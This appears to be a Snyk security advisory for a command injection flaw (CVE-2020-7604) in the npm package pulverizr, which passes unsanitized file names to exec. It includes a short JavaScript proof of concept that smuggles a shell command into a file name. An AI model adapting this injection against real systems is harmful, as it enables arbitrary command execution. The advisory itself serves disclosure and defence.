MEDIUM

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Command Injection

Affecting pulverizr package, versions *

INTRODUCED: 13 MAR 2020 CVE-2020-7604 ？ CWE-78 ？ FIRST ADDED BY SNYK

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How to fix?

There is no fixed version for `pulverizr` .

Overview

pulverizr is a to smash your images down to size.

Affected versions of this package are vulnerable to Command Injection. Within `lib/job.js` , the variable `filename` can be controlled by the attacker. This function uses the variable `filename` to construct the argument of the exec call without any sanitization.

In order to successfully exploit this vulnerability, an attacker will need to create a new file with the same name as the attack command.

PoC

```
var root = require("pulverizr"); var fs = require("fs"); var attack_code = "touch Song";
var injection_code = "&quot;&" + attack_code + "&&quot;a.jpg" var inputs = [injection_code] fs.writeFile(injection_code,
"123", function(){});

var job = root.createJob(inputs, {}); job.run();
```

References

- Vulnerable Code

Snyk CVSS

Exploit Maturity	Proof of concept ？
Attack Complexity	High ？
Confidentiality	HIGH ？

See more

> NVD 9.8 CRITICAL

Do your applications use this vulnerable package?

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Test your applications

Snyk ID	SNYK-JS-PULVERIZR-560122
Published	13 Mar 2020
Disclosed	13 Mar 2020
Credit	JHU System Security Lab

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